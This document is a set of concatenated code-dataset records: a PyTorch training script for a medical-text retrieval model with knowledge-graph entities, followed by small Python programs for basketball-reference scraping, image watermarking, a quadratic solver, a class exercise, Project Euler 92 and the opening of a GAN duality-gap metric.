\"masked_lm_positions\": masked_lm_positions,\n # \"masked_lm_labels\": masked_lm_labels,\n # \"entiy_ids\": entiy_ids,\n # 'sop_label':sop_label\n # }\n for f_index in tqdm(range(example_num), desc=\"Converting Feature\"):\n # for i, example in enumerate(lines):\n # print(f_index)\n example = lines[-1]\n tokens = example[\"tokens\"]\n segment_ids = example[\"segment_ids\"]\n masked_lm_positions = example[\"masked_lm_positions\"]\n masked_lm_labels = example[\"masked_lm_labels\"]\n entity_ids_mapping = example[\"entity_ids_mapping\"]\n entity_ids_mapping_mask = example[\"entity_ids_mapping_mask\"]\n\n add_default_value = args.max_seq_length - len(entity_ids_mapping)\n for _ in range(add_default_value):\n number_hop_list = [-1 for _ in range(args.two_hop_entity_num)]\n entity_ids_mapping.append(number_hop_list)\n number_default_list = [0 for _ in range(args.two_hop_entity_num)]\n entity_ids_mapping_mask.append(number_default_list)\n assert len(entity_ids_mapping) == args.max_seq_length\n assert len(entity_ids_mapping_mask) == args.max_seq_length\n\n entity_ids_mapping = np.array(entity_ids_mapping)\n entity_ids_mapping_mask = np.array(entity_ids_mapping_mask)\n\n entiy_ids = example[\"entiy_ids\"]\n sop_label = example['sop_label']\n # print(list(zip(tokens,range(len(tokens)))))\n\n assert len(tokens) == len(segment_ids) <= max_seq_length # The preprocessed data should be already truncated\n\n input_ids = tokenizer.convert_tokens_to_ids(tokens)\n\n masked_label_ids = tokenizer.convert_tokens_to_ids(masked_lm_labels)\n assert (len(masked_label_ids) == len(masked_lm_positions))\n input_array = np.zeros(max_seq_length, dtype=np.int)\n input_array[:len(input_ids)] = input_ids\n\n mask_array = np.zeros(max_seq_length, dtype=np.bool)\n mask_array[:len(input_ids)] = 1\n\n segment_array = np.zeros(max_seq_length, dtype=np.bool)\n segment_array[:len(segment_ids)] = segment_ids\n\n lm_label_array = np.full(max_seq_length, dtype=np.int, fill_value=-1)\n lm_label_array[masked_lm_positions] = masked_label_ids\n\n entity_array = np.full(max_seq_length, dtype=np.int, fill_value=-1)\n entity_array[:len(entiy_ids)] = entiy_ids\n # seg_label_array = np.full(max_seq_length, dtype=np.int, fill_value=-1)\n # seg_label_array[seg_positions] = seg_labels\n\n feature = InputFeatures(input_ids=input_array,\n input_mask=mask_array,\n segment_ids=segment_array,\n label_id=lm_label_array,\n entiy_ids=entity_array,\n entity_mapping=entity_ids_mapping,\n entity_mapping_mask=entity_ids_mapping_mask,\n sop_label=sop_label)\n features.append(feature)\n lines.pop()\n del example\n if (((f_index + 1) % save_pre_step) == 0 or (f_index + 1) == example_num):\n print(\"Do Save There\")\n name = 'run_tmp/{}_f.pklf'.format(f_index)\n sf = open(name, 'wb+')\n pickle.dump(features, sf)\n sf.close()\n names_list.append(name)\n features.clear()\n del name\n del features\n features = []\n lines = []\n for name in tqdm(names_list, desc='Loading features'):\n sf = open(name, 'rb')\n f = pickle.load(sf)\n sf.close()\n features.extend(f)\n del f\n return features\n\n\ndef set_seed(seed):\n np.random.seed(seed)\n torch.manual_seed(seed + 1)\n if torch.cuda.is_available(): torch.cuda.manual_seed_all(seed + 2)\n rng.seed(seed + 4)\n\n\ndef evaluate(args, model, eval_dataloader, device, loss_bag, eval_step):\n torch.cuda.empty_cache()\n best_loss, epoch, tr_loss = loss_bag\n model.eval()\n\n preds = []\n labels = []\n\n t_epoch = 1 if args.eval_batch_size < EVAL_HARD_HOLD else ceil(args.eval_batch_size / EVAL_HARD_HOLD)\n eval_num = min(args.eval_batch_size,EVAL_HARD_HOLD)\n total = 0#len(eval_dataloader)\n right = 0\n for batch in eval_dataloader:\n with torch.no_grad():\n labels = batch[-1].view(-1)\n batch0 = tuple(t.to(device) for t in batch)\n outputs = []\n for i in range(t_epoch):\n start=i*eval_num\n end=(i+1)*eval_num\n outputs.append( model(*tuple( t[start:end] for t in batch0))[0] )\n outputs = torch.cat(outputs,dim=0)\n pred = torch.argmax(outputs.view(-1),dim=0)\n if(labels[pred.item()].item()>0):\n right += 1\n total += 1\n logger.info(\"Total:{},Correct:{},ACC:{}\".format(total,right,right/total))\n # labels.extend(batch[-1].view(-1).cpu().tolist())\n # eval_loss += loss.mean().item()\n\n \n \n # logger.info('P:{} R:{} F1:{}'.format(P,R,F1))\n\n # eval_loss = eval_loss / nb_eval_steps\n # if eval_loss < best_loss:\n # # Save a trained model, configuration and tokenizer\n # # model_to_save = model.module if hasattr(model, 'module') else model # Only save the model it-self\n\n # # If we save using the predefined names, we can load using `from_pretrained`\n # # output_model_file = os.path.join(args.output_dir, WEIGHTS_NAME)\n # # torch.save(model_to_save.state_dict(), output_model_file)\n # best_loss = eval_loss\n # if(args.local_rank <=0 ):\n # logger.info(\n # \"============================ -epoch %d -train_loss %.4f -eval_loss %.4f\\n\" % (epoch, tr_loss, eval_loss))\n # torch.cuda.empty_cache()\n return .01\n\ndef entity_info(args):\n # #实体类型:{'西药', '疾病', '疾', '分类', '中药', '检查', '中西症状', '药品', '科室', '中医症状', '部位', '西医症状', '症状', '检验'}\n # DXY 实体类型: {'药品', '日常用品', '地区', '疾病', '检验', '特殊人群', '大众医学词汇', '身体部位', '微生物病原体', '检查检验结果', '医院', '症状', '非手术治疗', '季节', '行为活动', '食品', '检查', '科室', '基因', '科室传染性湿疹样', '机构', '外界环境因素', '症状\"', '手术治疗', '疾病\"', '医疗器械'}\n with open(args.entity_type, 'rb') as fo:\n entity_type_dict = pickle.load(fo, encoding='utf-8')\n with open(args.entityOutNegbhor,'rb') as fo:\n entityOutNegbhor = pickle.load(fo)\n with open(args.entityInNegbhor,'rb') as fo:\n entityInNegbhor = pickle.load(fo)\n \n entities = set(entityInNegbhor.keys())\n entities = entities.union(entityOutNegbhor.keys())\n\n node2entity = {}\n for key in entities:\n tmp_set =set()\n if(key in entityInNegbhor):\n for rel,e in entityInNegbhor[key]:\n tmp_set.add(e)\n if(key in entityOutNegbhor):\n for rel,e in entityOutNegbhor[key]:\n tmp_set.add(e)\n node2entity[key] = list(tmp_set)\n\n\n # new_entity_type_dict = {}\n # total_entity = []\n # for one_hop_entity, two_hop_entity_list in node2entity.items():\n # total_entity.append(one_hop_entity)\n # total_entity += two_hop_entity_list\n # for entity in set(total_entity):\n # if entity not in new_entity_type_dict.keys():\n # if len(entity_type_dict[entity]) == 0:\n # # 如果没有entity type的实体默认为 ”症状“\n # new_entity_type_dict[entity] = '症状'\n # else:\n # # 如果有多个实体类型,直接取第一个\n # new_entity_type_dict[entity] = entity_type_dict[entity][0]\n\n # 将实体类型进行合并,保持实体类型的个数尽可能集中,同时显存占用少。\n # 经过实体数据统计,可以分为: 药品(包含中药,西药,药品),症状(中医症状,西医症状,症状),疾病,其他\n # combine_entity_type_dict = {}\n # for key, value in new_entity_type_dict.items():\n # if value == '药品' or value == '中药' or value == '西药':\n # combine_entity_type_dict[key] = '药品'\n # elif value == '中医症状' or value == '西医症状' or value == '症状':\n # combine_entity_type_dict[key] = '症状'\n # elif value == '疾病':\n # combine_entity_type_dict[key] = '疾病'\n # else:\n # combine_entity_type_dict[key] = '其他'\n\n # entity_type_dict: 每一个entity对应一个entity type\n # node2entity: 每一个entity对应一个二阶entity list\n # combine_entity_type_dict: 经过entity type合并的字典,将所有的entity type合并成了四种类型\n return node2entity, entity_type_dict,entityOutNegbhor,entityInNegbhor\n\ndef entity_type_initialize(entity2type):\n # predefined_entity_type = ['药品', '疾病', '症状', '其他', '缺省']\n \n type_set = set(entity2type.values())\n type2embed = {}\n type2count = {}\n dim = len(embedding_list[0])\n\n for key in type_set:\n type2embed[key] = np.zeros(dim)\n type2count[key] = 0\n for e in entity2type:\n e_type = entity2type[e]\n type2embed[e_type] += embedding_list[entity_dict[e]]\n type2count[e_type] += 1\n type2id = {}\n weights = [np.zeros(dim)] # Note: 0 is the index for padding entity\n\n for index,key in enumerate(type2embed):\n weights.append( type2embed[e_type]/type2count[e_type] )\n type2id[key]=index+1\n return_result = torch.Tensor(weights)\n return_result = torch.nn.Embedding.from_pretrained(return_result)\n return type2id,return_result\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--pretrain_train_path\", type=str,\n default=\"./datasets/cMedQQ/train.txt\",\n help=\"pretrain train path to file\")\n parser.add_argument(\"--pretrain_dev_path\", type=str,\n default=\"./datasets/cMedQQ/test.txt\",\n help=\"pretrain dev path to file\")\n parser.add_argument(\"--max_seq_length\", type=int, default=512, help=\"max seq length of input sequences\")\n parser.add_argument(\"--do_train\", type=bool, default=True, help=\"If do train\")\n parser.add_argument(\"--do_lower_case\", type=bool, default=True, help=\"If do case lower\")\n parser.add_argument(\"--train_batch_size\", type=int, default=16, help=\"train_batch_size\") # May Need to finetune\n parser.add_argument(\"--eval_batch_size\", type=int, default=32, help=\"eval_batch_size\")\n parser.add_argument(\"--num_train_epochs\", type=int, default=3, help=\"num_train_epochs\")\n parser.add_argument(\"--learning_rate\", type=float, default=1.25e-5, help=\"learning rate\") # May Need to finetune\n parser.add_argument(\"--warmup_proportion\", type=float, default=.1,\n help=\"warmup_proportion\") # May Need to finetune\n parser.add_argument(\"--no_cuda\", type=bool, default=False, help=\"prevent use GPU\")\n parser.add_argument(\"--local_rank\", type=int, default=-1, help=\"If we are using cluster for training\")\n parser.add_argument(\"--seed\", type=int, default=42, help=\"random seed\")\n parser.add_argument(\"--gradient_accumulation_steps\", type=int, default=1,\n help=\"gradient_accumulation_steps\") # May Need to finetune\n parser.add_argument(\"--fp16\", type=bool, default=False, help=\"If use apex to train\")\n parser.add_argument(\"--loss_scale\", type=int, default=0, help=\"loss_scale\")\n parser.add_argument(\"--bert_config_json\", type=str, default=\"pytorch_pretrained_bert/bert_config.json\",\n help=\"bert_config_json\")\n parser.add_argument(\"--vocab_file\", type=str, default=\"pytorch_pretrained_bert/vocab.txt\",\n help=\"Path to vocab file\")\n parser.add_argument(\"--output_dir\", type=str,\n default=\"./outputs\",\n help=\"output_dir\")\n parser.add_argument(\"--masked_lm_prob\", type=float, default=0.15, help=\"masked_lm_prob\")\n parser.add_argument(\"--max_predictions_per_seq\", type=int, default=72, help=\"max_predictions_per_seq\")\n parser.add_argument(\"--cache_dir\", type=str, default='pytorch_pretrained_bert1', help=\"cache_dir\")\n parser.add_argument(\"--model_name_or_path\", type=str, default=\"pytorch_pretrained_bert1\", help=\"model_name_or_path\")\n parser.add_argument('--eval_pre_step', type=float, default=.126,\n help=\"The percent of how many train with one eval run\")\n parser.add_argument('--finetune_proportion', type=float, default=.25,\n help=\"Detemind the proportion of the first training stage\")\n parser.add_argument('--two_hop_entity_num', default=7, type=int,\n help='The threshold value of two hop entities of each entities in knowledge graph')\n \n parser.add_argument('--entity_type',\n default='./kgs/type_set.pkl',\n type=str, help='entity type in knowledge graph')\n parser.add_argument('--entityOutNegbhor', default='./kgs/ent2outRel.pkl',\n type=str, help='target node to other entity relationship')\n parser.add_argument('--entityInNegbhor', default='./kgs/ent2inRel.pkl',\n type=str, help='target node to other entity relationship')\n parser.add_argument('--label_num', default=32,\n type=int, help='The number of classifier labels')\n \n \n args = parser.parse_args()\n # 获取实体相关信息\n node2entity, combine_entity_type_dict,entityOutNegbhor,entityInNegbhor = entity_info(args)\n type2id,type_embedd = entity_type_initialize(combine_entity_type_dict)\n\n if args.local_rank == -1 or args.no_cuda:\n device = torch.device(\"cuda\" if torch.cuda.is_available() and not args.no_cuda else \"cpu\")\n n_gpu = torch.cuda.device_count()\n else:\n torch.cuda.set_device(args.local_rank)\n device = torch.device(\"cuda\", args.local_rank)\n n_gpu = 1\n # Initializes the distributed backend which will take care of sychronizing nodes/GPUs\n torch.distributed.init_process_group(backend='nccl')\n\n logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s',\n datefmt='%m/%d/%Y %H:%M:%S',\n level=logging.INFO if args.local_rank in [-1, 0] else logging.WARN)\n\n logger.info(\"device: {} n_gpu: {}, distributed training: {}, 16-bits training: {}\".format(\n device, n_gpu, bool(args.local_rank != -1), args.fp16))\n\n if args.gradient_accumulation_steps < 1:\n raise ValueError(\"Invalid gradient_accumulation_steps parameter: {}, should be >= 1\".format(\n args.gradient_accumulation_steps))\n\n args.train_batch_size = args.train_batch_size // args.gradient_accumulation_steps\n\n if n_gpu > 0:\n torch.cuda.manual_seed_all(args.seed)\n\n if os.path.exists(args.output_dir) and os.listdir(args.output_dir) and args.do_train:\n raise ValueError(\"Output directory ({}) already exists and is not empty.\".format(args.output_dir))\n if not os.path.exists(args.output_dir):\n os.makedirs(args.output_dir)\n\n tokenizer = BertTokenizer.from_pretrained(pretrained_model_name_or_path=args.model_name_or_path)\n # train_examples = None\n num_train_optimization_steps = None\n\n if args.do_train:\n model, missing_keys = cMeForIR.from_pretrained(\n pretrained_model_name_or_path=args.model_name_or_path,\n from_tf=bool(\".ckpt\" in args.model_name_or_path),\n cache_dir=args.cache_dir,\n entity_embedding=embed,\n entity_type_embedding=type_embedd,\n transfer_matrix = transfer_matrix,\n e_dim=e_dim\n )\n\n train_dataset = TrainENRIEDataset(args=args,\n data_path=args.pretrain_train_path,\n max_seq_length=args.max_seq_length,\n masked_lm_prob=args.masked_lm_prob,\n max_predictions_per_seq=args.max_predictions_per_seq,\n tokenizer=tokenizer,\n node2entity=node2entity,\n entity_dict_init =entity_dict,\n entity_type=combine_entity_type_dict,\n type_embedd=type_embedd,type2id=type2id,\n entityOutNegbhor=entityOutNegbhor,entityInNegbhor=entityInNegbhor)\n eval_dataset = TestENRIEDataset(args=args,\n data_path=args.pretrain_dev_path,\n max_seq_length=args.max_seq_length,\n masked_lm_prob=args.masked_lm_prob,\n max_predictions_per_seq=args.max_predictions_per_seq,\n tokenizer=tokenizer,\n node2entity=node2entity,\n entity_dict_init=entity_dict,\n entity_type=combine_entity_type_dict,\n type_embedd=type_embedd,type2id=type2id,\n entityOutNegbhor=entityOutNegbhor,entityInNegbhor=entityInNegbhor)\n\n num_train_optimization_steps = int(\n len(train_dataset) / args.train_batch_size / args.gradient_accumulation_steps) * args.num_train_epochs\n if args.local_rank != -1:\n num_train_optimization_steps = num_train_optimization_steps // torch.distributed.get_world_size()\n\n\n if args.fp16:\n model.half()\n model.to(device)\n if args.local_rank != -1:\n # try:\n # from apex.parallel import DistributedDataParallel as DDP\n # except ImportError:\n # raise ImportError(\n # \"Please install apex from https://www.github.com/nvidia/apex to use distributed and fp16 training.\")\n model = DDP(model,device_ids=[args.local_rank], output_device=args.local_rank)\n # pass\n elif n_gpu > 1:\n assert(False)\n model = torch.nn.DataParallel(model)\n n_gpu = max(n_gpu, 1)\n # for key,param in model.named_parameters(recurse=True):\n # print(key)\n\n # Prepare optimizer\n param_optimizer = list(model.named_parameters())\n no_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']\n\n new_add_param = [(n, p) for n, p in param_optimizer if n in missing_keys]\n pretrain_parm = [(n, p) for n, p in param_optimizer if n not in missing_keys]\n\n LR_AMP = 3\n new_optimizer_grouped_parameters = [\n {'params': [p for n, p in new_add_param if not any(nd in n for nd in no_decay)], 'weight_decay': 0.01,'lr':args.learning_rate * LR_AMP},\n {'params': [p for n, p in new_add_param if any(nd in n for nd in no_decay)], 'weight_decay': 0.0,'lr':args.learning_rate * LR_AMP}\n ]\n old_optimizer_grouped_parameters = [\n {'params': [p for n, p in pretrain_parm if not any(nd in n for nd in no_decay)], 'weight_decay': 0.01,'lr':args.learning_rate },\n {'params': [p for n, p in pretrain_parm if any(nd in n for nd in no_decay)], 'weight_decay': 0.0,'lr':args.learning_rate}\n ]\n\n optimizer = None\n scheduler = None\n if args.fp16:\n try:\n from apex.optimizers import FP16_Optimizer\n from apex.optimizers import FusedAdam\n except ImportError:\n raise ImportError(\n \"Please install apex from https://www.github.com/nvidia/apex to use distributed and fp16 training.\")\n optimizer = FusedAdam(new_optimizer_grouped_parameters,\n lr=args.learning_rate,\n bias_correction=False,\n max_grad_norm=1.0)\n if args.loss_scale == 0:\n optimizer = FP16_Optimizer(optimizer, dynamic_loss_scale=True)\n else:\n optimizer = FP16_Optimizer(optimizer, static_loss_scale=args.loss_scale)\n else:\n optimizer = AdamW(new_optimizer_grouped_parameters + old_optimizer_grouped_parameters,\n lr=args.learning_rate)\n # scheduler = get_double_linear_schedule_with_warmup(optimizer,args.num_training_steps,args.warmup_proportion)\n # Note The schedule set the new warm start right at the half of training process.\n # scheduler = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=args.warmup_proportion*num_train_optimization_steps,\n # num_training_steps=num_train_optimization_steps)\n global_step = 0\n best_loss = 100000\n # eval_pern_steps=570\n\n if args.do_train:\n\n total_eval_step = int(len(eval_dataset) / args.eval_batch_size)\n # train_features_len = len(train_dataset)\n \n if(args.local_rank != -1):\n train_sampler = DistributedSampler(train_dataset,shuffle=True)\n else:\n train_sampler = RandomSampler(train_dataset)\n\n train_dataloader = DataLoader(train_dataset, sampler=train_sampler, batch_size=args.train_batch_size,\n num_workers=3,pin_memory=True)\n # train_dataloader2 = DataLoader(train_data2, sampler=train_sampler2, batch_size=args.train_batch_size, shuffle=False)\n model.train()\n # Run prediction for full data\n # eval_sampler1 = SequentialSampler(eval_data1)\n # eval_sampler2 = SequentialSampler(eval_data2)\n eval_sampler = None\n if(args.local_rank != -1):\n eval_sampler = DistributedSampler(eval_dataset,shuffle=False)\n else:\n eval_sampler = SequentialSampler(eval_dataset)\n eval_dataloader = DataLoader(eval_dataset, sampler=eval_sampler, batch_size=args.eval_batch_size,\n num_workers=3,pin_memory=True)\n # total_step = len(train_dataloader) \n # eval_step = int(total_step * args.eval_pre_step)\n # scheduler = get_double_linear_schedule_with_warmup(optimizer, total_step, args.warmup_proportion,\n # args.finetune_proportion)\n total_step = len(train_dataloader) * args.num_train_epochs\n eval_step = int( len(train_dataloader) * args.eval_pre_step)\n scheduler = get_linear_schedule_with_warmup(optimizer, total_step*args.warmup_proportion, total_step)\n\n if(args.local_rank <=0):\n logger.info(\"Start Train...\")\n for e in trange(int(args.num_train_epochs), desc=\"Epoch\"):\n nb_tr_examples = 0\n tr_loss = 0\n loss_step = 0\n if(args.local_rank != -1):\n train_dataloader.sampler.set_epoch(e)\n for step, batch in enumerate(tqdm(train_dataloader,desc='Training')):\n batch0 = tuple(t.to(device) for t in batch)\n half = len(batch0)//2\n pos_score = model(*batch0[:half])[0]\n neg_score = model(*batch0[half:])[0]\n M=.3 # M is a margin constant\n ones=torch.ones_like(pos_score,dtype=torch.long,device=pos_score.device)\n loss=margin_ranking_loss(pos_score,neg_score,ones,M)\n \n if n_gpu > 1:\n loss = loss.mean() # mean() to average on multi-gpu.\n if args.gradient_accumulation_steps > 1:\n loss = loss / args.gradient_accumulation_steps\n if args.fp16:\n optimizer.backward(loss)\n else:\n loss.backward()\n nb_tr_examples += train_dataloader.batch_size\n\n tr_loss += loss.item() * args.gradient_accumulation_steps\n loss_step += 1\n if( (step + 1) % args.gradient_accumulation_steps == 0 or step == len(train_dataloader)-1):\n if args.fp16:\n lr_this_step = args.learning_rate * warmup_linear(global_step / num_train_optimization_steps,\n args.warmup_proportion)\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr_this_step\n optimizer.step()\n scheduler.step()\n optimizer.zero_grad()\n global_step += 1\n # if (global_step == int(total_step * args.finetune_proportion)):\n # optimizer.add_param_group(old_optimizer_grouped_parameters)\n\n if (((step + 1) % eval_step ) == 0 or (step+1)==len(train_dataloader)):\n best_loss = evaluate(args, model, eval_dataloader, device, (best_loss, e, tr_loss / 1),\n total_eval_step)\n tr_loss = 0\n loss_step = 0\n # Run evaluation when finishing the training process.\n best_loss = evaluate(args, model, eval_dataloader, device, (best_loss, e, tr_loss / 1),\n total_eval_step)\n if(args.local_rank <=0):\n logger.info('Training Done!')\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"run_IR.py","file_name":"run_IR.py","file_ext":"py","file_size_in_byte":58828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"109394939","text":"import pandas as pd\nimport htmlParser as hp\n\n# Function to build Team:URL dictionary\n# Inputs: none\n# Outputs: {Team Name (string): url extension (string)} (dictionary)\n# EX: {'Philadelphia 76ers': '/teams/PHI/', 'Phoenix Suns': '/teams/PHO/'}\ndef getFranchiseList():\n # basketball-reference teams index page = https://www.basketball-reference.com/teams/\n active_franchises_url = 'https://www.basketball-reference.com/teams/'\n active_franchises_tbl_name = 'Active Franchises Table'\n active_franchises_tbl = hp.parseTableFromHTML(active_franchises_url, active_franchises_tbl_name)\n\n # Parse out table rows, dropping first row which is headers\n # class = full_table filters out archived franchises i.e. Philadelphia Warriors\n rows = active_franchises_tbl.findAll('tr', class_=\"full_table\")\n \n team_names = []\n team_urls = []\n for i in range(len(rows)):\n temp_name = rows[i].find('th').getText()\n temp_url = rows[i].find('a', href=True).get('href')\n\n team_names.append(temp_name)\n team_urls.append(temp_url)\n\n # Creates a dictionary where first element of team_names corresponds with first element of team_urls and so on\n franchise_dict = dict(zip(team_names, team_urls))\n \n return(franchise_dict)\n\n\n# Function to get Team Home Page URL for team name passed to method\n# Inputs: Team Name (string)\n# Outputs: url (string)\n# EX: https://www.basketball-reference.com/teams/PHI/\ndef getTeamHomePageURL(TeamName):\n\n url_template = \"https://www.basketball-reference.com/{team_URL}\"\n\n team_URL = getFranchiseList()[TeamName]\n\n url = url_template.format(team_URL = team_URL)\n\n return(url)\n\n\nx = getTeamHomePageURL('Philadelphia 76ers')\nprint(x)","sub_path":"teamHomePage.py","file_name":"teamHomePage.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"343055675","text":"import os\nimport sys\n\nfrom PIL import Image\n\nEXTS = ('.jpg', '.png')\n#!defaults##################\nfoldername = 'WaterMarked' #!\ntransparency = float(0.5) #!\npos = 'center' #!\n#!##########################\n\nif len(sys.argv) < 3:\n print('Usage: watermark.py \\'image path\\' \\'logo path\\' [0-1]* [topleft, topright, bottomleft, bottomright, center]*')\n print('items marked whith * are optional')\n sys.exit()\nelif len(sys.argv) == 4:\n if not(sys.argv[3].isdecimal):\n path = sys.argv[1]\n lgo = sys.argv[2]\n pos = sys.argv[3]\n elif sys.argv[3].isdecimal and sys.argv[3] > 0 and 0 > sys.argv[3]:\n path = sys.argv[1]\n lgo = sys.argv[2]\n transparency = float(sys.argv[3])\n else:\n print(\"transparency: [\" + transparency + \"] is not a valid transparency\") \n sys.exit()\nelif len(sys.argv) == 5:\n path = sys.argv[1]\n lgo = sys.argv[2]\n transparency = float(sys.argv[3])\n pos = sys.argv[4]\nelse:\n path = sys.argv[1]\n lgo = sys.argv[2]\n\nlogo = Image.open(lgo).convert('RGBA')\nlogoWidth = logo.width\nlogoHeight = logo.height\npixeldata = list(logo.getdata())\n\nfor i,pixel in enumerate(pixeldata):\n r = pixel[0]\n g = pixel[1]\n b = pixel[2]\n a = pixel[3]\n\n #this is to avoid negative alpha values and make the transparency proportional#\n alpha = int(256*transparency)\n alpha = (a - (256 - alpha)) if (a - (256 - alpha)) > 0 else 0 \n ###############################################################################\n\n if pixel[3] != 0:\n pixeldata[i] = (r, g, b, alpha)\n\nlogo.putdata(pixeldata)\nif not os.path.isdir(path + '/' + foldername):\n os.mkdir(path + '/' + foldername)\n\nfor filename in os.listdir(path):\n if any([filename.lower().endswith(ext) for ext in EXTS]) and filename != lgo:\n image = Image.open(path + '/' + filename)\n imageWidth = image.width\n imageHeight = image.height\n\n try:\n if pos == 'topleft':\n image.paste(logo, (0, 0), logo)\n elif pos == 'topright':\n image.paste(logo, (imageWidth - logoWidth, 0), logo)\n elif pos == 'bottomleft':\n image.paste(logo, (0, imageHeight - logoHeight), logo)\n elif pos == 'bottomright':\n image.paste(logo, (imageWidth - logoWidth, imageHeight - logoHeight), logo)\n elif pos == 'center':\n image.paste(logo, ((imageWidth - logoWidth)/2, (imageHeight - logoHeight)/2), logo)\n else:\n print('Error: ' + pos + ' is not a valid position')\n print('Usage: watermark.py \\'image path\\' \\'logo path\\' [0-1]* [topleft, topright, bottomleft, bottomright, center]*')\n print('items marked whith * are optional')\n\n image.save(path + '/' + foldername + '/' + filename)\n print('Added watermark to ' + path + '/' + filename + ' in ' + path + '/' + foldername + '/' + filename)\n\n except:\n image.paste(logo, (int((imageWidth - logoWidth)/2), int((imageHeight - logoHeight)/2)), logo)\n image.save(path + '/' + foldername + '/' + filename)\n print('Added watermark to ' + path + '/' + filename + ' in ' + path + '/' + foldername + '/' + filename)\n","sub_path":"watermark.py","file_name":"watermark.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"220112581","text":"from math import *\r\ndef deltacalc (a,b,c):\r\n delta=b*b-4*a*c\r\n return delta\r\ndef root(a,b,delta):\r\n if (delta>0):\r\n d1=(-b+sqrt(delta))/(2*a)\r\n return d1\r\ndef root2(a,b,delta):\r\n if (delta>0):\r\n d2=(-b-sqrt(delta))/(2*a)\r\n return d2\r\n\r\na=float(input(\"Input a \"))\r\nb=float(input(\"Input b \"))\r\nc=float(input(\"Input c \"))\r\ndelta=deltacalc(a,b,c)\r\nif (delta!=0):\r\n ans1=root(a,b,delta)\r\n ans2=root2(a,b,delta)\r\n print (\"Roots are \",ans1,\" && \",ans2)\r\n\r\n","sub_path":"Python/P1/Various/2nd order polynomial function solver.py","file_name":"2nd order polynomial function solver.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"508833366","text":"from abc import ABCMeta, abstractmethod\n\n\nclass Book(object, metaclass=ABCMeta):\n def __init__(self, title, author):\n self.title = title\n self.author = author\n\n @abstractmethod\n def display(self):\n print(f\"Title: {self.title}\")\n print(f\"Author: {self.author}\")\n\n\n# Write MyBook class\nclass MyBook(Book):\n def __init__(self, title, author, price):\n super().__init__(title, author)\n self.price = price\n\n def display(self):\n super().display()\n # print(f\"Title: {self.title}\")\n # print(f\"Author: {self.author}\")\n print(f\"Price: {self.price}\")\n\n\n# title=input()\n# author=input()\n# price=int(input())\ntitle = \"The Alchemist\"\nauthor = \"Paulo Coelho\"\nprice = 248\n\nnew_novel = MyBook(title, author, price)\nnew_novel.display()\n","sub_path":"day13_abstract_classes.py","file_name":"day13_abstract_classes.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"244392292","text":"# Square digit chains\n# Project Euler - Problem 92\n# Sean Malloy\n\ndef memoize(f):\n memo = {}\n def helper(n):\n if n not in memo:\n memo[n] = f(n)\n return memo[n]\n return helper\n\ndef ssd(n):\n return sum(i**2 for i in map(int, map(str, str(n))))\n\n@memoize\ndef chain(n):\n if n == 89:\n return True\n if n == 1:\n return False\n return chain(ssd(n))\n\ncount = 0\nfor i in range(2, 10**7):\n print(i)\n count += int(chain(i))\n\nprint(count)\n","sub_path":"python/p092.py","file_name":"p092.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"485192556","text":"import torch\nimport torch.nn.functional as F\nimport torchvision\nimport copy\nimport time\nimport os\nfrom ..utils import reduce\nfrom .metric import EvaluationMetric\nfrom torchgan.trainer import *\nimport torch.multiprocessing as mp\nimport numpy as np\nfrom ray import tune\nfrom torch.optim import Adam\n__all__ = [\"ProximalDualityGap\"]\n\n\nclass ProximalDualityGap(EvaluationMetric):\n r\"\"\"\n Computes the DualityGap of a Model.\n \n Args:\n \n optimizer : The optimizer to be used for DG estimation ('SGD','Adam')\n n_iter : The no. steps in M1 and M2 estimation (int)\n perturb : Use perturbed DG (Boolean)\n \"\"\"\n\n def __init__(self,perturbation=False,network_params=None,generator_loss=None,discriminator_loss=None,evaluation_loss=None,proximal_evaluation_loss=None,train_dataloader=None,eval_dataloader=None,n_iter=10,log_dir=\"./\",sample_size=28,n_row=7,verbose=False):\n \n super(ProximalDualityGap, self).__init__()\n self.perturbation = perturbation\n self.n_iter = n_iter\n self.network_params = network_params\n self.generator_loss = generator_loss\n self.discriminator_loss = discriminator_loss\n self.evaluation_loss = evaluation_loss\n self.proximal_evaluation_loss = proximal_evaluation_loss if proximal_evaluation_loss is not None else evaluation_loss\n self.train_dataloader = train_dataloader\n self.eval_dataloader = eval_dataloader if eval_dataloader is not None else train_dataloader\n self.log_dir = log_dir\n self.sample_size = sample_size\n self.n_row = n_row\n self.set_arg_map({\"ckpt_dir\":\"checkpoints\" , \"ckpt_no\":\"last_retained_checkpoint\"})\n self.verbose = verbose\n self.evaluation_loss.eval_only = True\n self.history = []\n \n \n def preprocess(self, x):\n r\"\"\"\n Preprocessor for the trainer object\n\n Args:\n x (torch.Tensor) : Instance of class BaseTrainer\n\n Returns:\n Trainer class after preprocessing\n \"\"\"\n return x\n \n def attempt_deviation(self,trainer):\n \n trainer(self.train_dataloader)\n trainer.losses[type(self.evaluation_loss).__name__] = self.evaluate\n trainer._store_loss_maps()\n\n batch_score = []\n for data in self.eval_dataloader:\n \n if type(data) is tuple or type(data) is list:\n trainer.real_inputs = data[0].to(trainer.device)\n trainer.labels = data[1].to(trainer.device)\n elif type(data) is torch.Tensor:\n trainer.real_inputs = data.to(trainer.device)\n else:\n trainer.real_inputs = data\n batch_score.append(-1*self.evaluate.train_ops(**trainer._get_arguments(trainer.loss_arg_maps[type(self.evaluation_loss).__name__])) )\n return np.mean(batch_score)\n\n def calculate_score(self,load_path=None,m1_dir=None,m2_dir=None,perturb_std=1e-3):\n r\"\"\"\n Computes the duality gap for a given trainer instance.\n\n Args:\n load_path (str) : Path to load the Instance of class BaseTrainer\n m1_dir (str) : Path to 